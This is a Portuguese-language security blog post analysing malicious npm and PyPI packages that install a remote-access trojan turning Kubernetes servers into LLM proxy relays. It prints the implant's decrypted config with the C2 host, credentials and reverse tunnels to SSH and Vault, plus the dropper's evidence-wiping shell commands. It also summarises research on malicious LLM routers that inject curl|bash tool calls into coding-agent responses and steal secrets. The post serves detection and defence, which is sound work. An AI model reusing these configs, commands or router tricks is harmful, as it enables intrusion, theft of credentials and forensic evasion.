Aikido

Backdoor GPT-Proxy em npm e PyPI transforma Servidores em Relés LLM Chineses

Escrito por
Ilyas Makari

Recentemente observamos dois pacotes maliciosos no npm (kube-health-tools) e PyPI (kube-node-health) que parecem projetados para atingir ambientes Kubernetes. Ambos os pacotes são inócuos na superfície, usando nomes que fazem referência a Kubernetes para parecerem legítimos. Mas, por trás dos panos, eles instalam silenciosamente um serviço de proxy LLM completo na máquina da vítima, permitindo que o atacante roteie o tráfego LLM através do servidor comprometido como se fosse apenas mais um nó de retransmissão em uma plataforma comercial de revenda de IA.

Estágio 1: Os Droppers

Ambos os pacotes entregam um binário nativo compilado como seu portador de payload.

Os dois arquivos do estágio 1 são:

  • __init___cpython-311-x86_64-linux-gnu.so  (pacote PyPI)
  • addon.node  (pacote npm)

Ambos são binários nativos que executam na importação ou em require(). O .so é uma extensão Python compilada com Cython; o .node é um addon nativo Node.js. Ambos baixam um binário de estágio 2 do GitHub. A URL codificada no dropper PyPI resolve para:

https://github[.]com/gibunxi4201/kube-node-diag/releases/download/v2[.]0/kube-diag-linux-amd64-packed

O dropper npm busca uma variante mais capaz da mesma release:

https://github[.]com/gibunxi4201/kube-node-diag/releases/download/v2[.]0/kube-diag-full-linux-amd64-packed

Ambos os binários são gravados em /tmp/.kh, marcados como executáveis e lançados imediatamente.

Ambos os droppers também incorporam blobs de configuração criptografados com XOR que são direcionados diretamente para o binário de estágio 2 no lançamento. O binário de estágio 2 lê a configuração do stdin, a descriptografa e a usa como sua configuração de tempo de execução:

{
  "server": "https://sync[.]geeker[.]indevs[.]in",
  "auth": "skywork:e5c2b988f369d9e51f30985eb8c1c5ae",
  "tunnels": [
    "R:4444:127.0.0.1:0",
    "R:4446:127.0.0.1:22",
    "R:4445:127.0.0.1:8200"
  ],
  "shell": {
    "enabled": true,
    "password": "123qweASD",
    "auth_keys": []
  },
  "disguise": {
    "process_name": "node-health-check",
    "argv": "--mode=daemon"
  },
  "keepalive": "25s",
  "max_retry_interval": "30s",
  "headers": {
    "User-Agent": "Mozilla/5.0"
  },
  "tls_skip_verify": true
}

A configuração revela várias coisas sobre a operação. O servidor de Comando e Controle (C2) é sync[.]geeker[.]indevs[.]in, autenticado com uma credencial hardcoded (skywork:e5c2b988f369d9e51f30985eb8c1c5ae). O bloco de disfarce instrui o implante a mascarar seu processo como node-health-check --mode=daemon, misturando-se com ferramentas legítimas em uma listagem de processos.

Os três túneis reversos na configuração mapeiam cada um uma porta no servidor C2 do atacante para um serviço local na máquina da vítima:

  • Porta 4444 direciona para 127.0.0.1:0 (o proxy LLM)
  • Porta 4446 direciona para 127.0.0.1:22 (servidor SSH da vítima)
  • Porta 4445 direciona para 127.0.0.1:8200 (porta padrão do HashiCorp Vault, um armazenamento de Secrets comumente usado em ambientes Kubernetes)

A variante npm também inclui um fallback ngrok, que alterna por um pool de contas ngrok entregues pelo C2, expondo o servidor da vítima através de um endpoint público.

Após iniciar o binário da fase 2, o script dropper apaga ativamente as evidências de sua própria execução. Ele exclui o binário baixado de /tmp/.kh, remove um segundo arquivo temporário em /tmp/.ns, e então, mais notavelmente, exclui recursivamente todo o kube-health-tools diretório do pacote de node_modules:

sleep 2
rm -f $P $S
find / -type d -name "kube-health-tools" -path "*/node_modules/*" -exec rm -rf {} + 2>/dev/null

Em dois segundos após o início do binário da fase 2, todos os artefatos de instalação desaparecem. Uma varredura forense pós-incidente de node_modules não encontrará nada.

Fase 2: Trojan de Acesso Remoto

O binário da fase 2 é um binário Go compilado com várias capacidades empacotadas em um único executável. Ele se reconecta a sync[.]geeker[.]indevs[.]in via WebSocket, estabelece uma sessão SSH e usa um tunelamento Chisel protocolo para registrar os túneis definidos na configuração.

O implante implementa tunelamento Chisel via WebSocket:

  • Proxy SOCKS5: O binário pode expor um proxy SOCKS5 completo, permitindo que o atacante roteie tráfego TCP arbitrário através da rede da vítima.
  • Reverse shell: Configurado com a senha (123qweASD) encontrada no bloco de configuração do dropper, fornecendo um terminal interativo completo.
  • Servidor SFTP: Ships a full SFTP server, giving the attacker complete filesystem read/write access.
  • Proxy LLM: Um gateway de API compatível com OpenAI que aceita requisições e as roteia para upstream através de roteadores fornecidos pelo atacante.

O binário se encarrega de se ocultar após o lançamento. Ele renomeia seu processo para node-health-check com o argumento --mode=daemon, fazendo-o se misturar com ferramentas legítimas em uma lista de processos. Ele também limpa todas as variáveis de ambiente relevantes imediatamente na inicialização:

func ClearEnv() {
    for _, name := range []string{"NHC_CFG", "KH_CFG", "NHC_KEY", "NHC_KEY_FILE"} {
        os.Unsetenv(name)
    }
    const aesKey = "s0m3R4nd0mK3y2026xYz"
    for _, kv := range os.Environ() {
        parts := strings.SplitN(kv, "=", 2)
        if len(parts) == 2 && strings.Contains(parts[1], aesKey) {
            os.Unsetenv(parts[0])
        }
    }
}

Isso garante que, se uma KH_CFG ou NHC_CFG variável operator-override foi definida, ela desaparece do ambiente antes que qualquer inspeção possa encontrá-la.

O Proxy LLM

O implante inclui um proxy LLM totalmente funcional e compatível com OpenAI, incorporado diretamente no binário da fase 2. Parece ser um gateway de API que aceita requisições e as roteia para APIs upstream, incluindo roteadores LLM chineses como shubiaobiao.

O proxy expõe quatro rotas de entrada, acessíveis via túnel:

  • GET /health → 200 OK
  • GET /v1/models → lista todos os modelos configurados
  • POST /v1/chat/completions → rotear para upstream
  • POST /v1/completions → rotear para upstream

Quando uma requisição atinge /v1/chat/completions, o proxy:

  1. Lê o model campo do corpo da requisição
  2. Consulta o nome do modelo em uma tabela de roteamento fornecida pelo C2
  3. Seleciona uma chave de API de um dos key_normal ou key_ultra pool, com base na configuração do key_type campo
  4. Reescreve a requisição com o host upstream, caminho e token de autenticação bearer.
  5. Encaminha a requisição e transmite a resposta de volta

A partir das strings de caminho upstream encontradas no binário, a tabela de roteamento mapeia nomes de modelos para caminhos como estes:

https://<url_from_c2>/gpt-proxy/shubiaobiao/chat/completions
https://<url_from_c2>/gpt-proxy/cloudsway/chat/completions
https://<url_from_c2>/gpt-proxy/aliyun/chat/completions
https://<url_from_c2>/gpt-proxy/volengine/chat/completions
https://<url_from_c2>/gpt-proxy/aws/claude/chat/completions
https://<url_from_c2>/gpt-proxy/azure/chat/completions
https://<url_from_c2>/gpt-proxy/google/claude/chat/completions
https://<url_from_c2>/gpt-proxy/xmind/claude/chat/completions
https://<url_from_c2>/gpt-proxy/kuanbang/chat/completions
https://<url_from_c2>/gpt-proxy/deepseek/reasoner
https://<url_from_c2>/gpt-proxy/router/chat/completions

O /gpt-proxy/ prefixo de caminho, combinado com nomes de fornecedores como shubiaobiao, cloudsway e volengine, aponta para agregadores intermediários em vez de APIs oficiais de provedores. Nem api.openai.com nem api.anthropic.com aparecem em qualquer lugar no binário.

O binário contém 109 strings de nomes de modelos hardcoded usadas para construir a resposta /v1/models. Elas abrangem os principais provedores de fronteira, incluindo modelos da Anthropic (claude-opus-4.6, claude-sonnet-4.6-thinking), OpenAI (gpt-5.4, gpt-5.3-codex), Google (gemini-3.1-pro-preview, gemini-2.5-flash), ByteDance VolcEngine (doubao-seed-1.8-pro-251215, doubao_2050_write_agent_v7), e Alibaba (qwen3-235b-a22b-instruct-2507).

O Ecossistema de Proxy Chinês

A execução de servidores proxy em máquinas comprometidas é um comportamento recorrente no cenário de ameaças chinês, impulsionado em parte pelas restrições impostas pelo Great Firewall. Anteriormente, AhnLab descobriu atacantes implantando ferramentas como TinyProxy e Sing-box em servidores honeypot vulneráveis para executar serviços de proxy clandestinos. De fato, a conta do GitHub gibunxi4201, que hospeda o payload stage 2, parece ter outros projetos relacionados a proxy em seu histórico de lançamentos, consistente com um operador focado principalmente em infraestrutura de proxy.

Essas ferramentas de proxy são frequentemente implantadas em servidores vulneráveis para IPs de proxy gratuitos, mas também em serviços gratuitos como HuggingFace, Databricks e Streamlit para navegar na web sem restrições do Great Firewall. O padrão é sempre o mesmo: encontrar um recurso barato ou comprometido e transformá-lo em um servidor proxy gratuito.

Desenvolvedores chineses frequentemente não conseguem acessar modelos de IA devido a bloqueios regionais. Isso criou um mercado cinza em expansão para acesso a APIs de LLM. Plataformas chinesas como Xianyu, Goofish e Taobao estão repletas de anúncios de vendedores que oferecem acesso a ChatGPT, Claude e Gemini por uma fração dos preços oficiais via endpoints de roteador (como os encontrados neste malware). Existem até vendedores oferecendo cursos sobre como monetizar executando seus próprios roteadores LLM.

Roteadores LLM Maliciosos

Além de fornecer acesso barato à IA, roteadores LLM como o implantado aqui se encontram em um limite de confiança que é facilmente abusado. Como cada requisição passa pelo roteador em plaintext, um operador malicioso pode, conforme documentado por Hanzhi Liu et al.:

  • Injetar chamadas de ferramentas maliciosas nas respostas de agentes de codificação antes que cheguem ao cliente, introduzindo pip install ou curl | bash payloads maliciosos em trânsito
  • Exfiltrar silenciosamente Secrets de corpos de requisição e resposta, incluindo API keys, credenciais AWS, tokens GitHub, chaves privadas Ethereum e prompts de sistema

Os pesquisadores descobriram que, em um corpus de 428 roteadores comerciais, 9 estavam injetando ativamente código malicioso em chamadas de ferramentas retornadas, e 17 foram encontrados tocando em credenciais AWS canary de propriedade de pesquisadores após observá-las em trânsito.

Embora não tenhamos encontrado evidências de injeção ou exfiltração neste implante específico, qualquer desenvolvedor cujas ferramentas de codificação de IA sejam roteadas através de uma máquina comprometida está efetivamente passando toda a sua janela de contexto através de um relé controlado por um adversário.

Como o Aikido detecta isso

Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. Isso aparecerá como um problema crítico 100/100. O Aikido reanalisa todas as noites, mas recomendamos acionar uma reanálise manual agora.

Se você ainda não é um usuário Aikido, pode criar uma conta e conectar seus repositórios. Nossa cobertura de malware está incluída no plano gratuito, não é necessário cartão de crédito.

Para uma cobertura mais ampla em toda a sua equipe, o Endpoint Protection do Aikido oferece visibilidade e controle sobre os pacotes de software instalados nos dispositivos da sua equipe. Ele abrange extensões de navegador, bibliotecas de código, plugins de IDE e dependências de build, tudo em um só lugar. Impeça o malware antes que ele seja instalado.

Para proteção futura, considere Aikido Safe Chain (open source). O Safe Chain se integra ao seu fluxo de trabalho existente, interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando pacotes contra Aikido Intel antes da instalação.

IOCs

Pacotes Maliciosos

  • PyPI: kube-node-health
  • npm: kube-health-tools

Hashes de Arquivo

  • __init___cpython-311-x86_64-linux-gnu.so (PyPI stage 1)
    • SHA256: b3405b8456f4e82f192cdff6fdd5b290a58fafda01fbc08174105b922bd7b3cf
  • addon.node (npm estágio 1)
    • SHA256: 5d58ce3119c37f2bd552f4d883a4f4896dfcb8fb04875f844f999497e4ca846d
  • kube-diag-linux-amd64-packed (variante PyPI do estágio 2)
    • SHA256: fb3ae78d09c119ec335c3b99a95c97d9bb6f92fd2c7c9b0d3e875347e2f25bb2
  • kube-diag-full-linux-amd64-packed (variante npm do estágio 2)
    • SHA256: 3a3d8f8636fa1db21871005a49ecd7fa59688fa763622fa737ce6b899558b300

Indicadores de Rede

  • Servidor C2: sync[.]geeker[.]indevs[.]in
  • Download do Estágio 2: github[.]com/gibunxi4201/kube-node-diag

Indicadores de Processo

  • Nome do processo: node-health-check
  • Caminhos de download temporários: /tmp/.kh e /tmp/.ns
Compartilhar:

https://www.aikido.dev/blog/gpt-proxy-backdoor-npm-pypi-chinese-llm-relay

4.7/5
Cansado de falsos positivos?

Experimente Aikido como 100 mil outros.
Começar Agora
Obtenha um tour personalizado

Confiado por mais de 100 mil equipes

Agende Agora
Escaneie seu aplicativo em busca de IDORs e caminhos de ataque reais

Confiado por mais de 100 mil equipes

Iniciar Escaneamento
Veja como o pentest de IA testa seu aplicativo

Confiado por mais de 100 mil equipes

Iniciar Testes

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.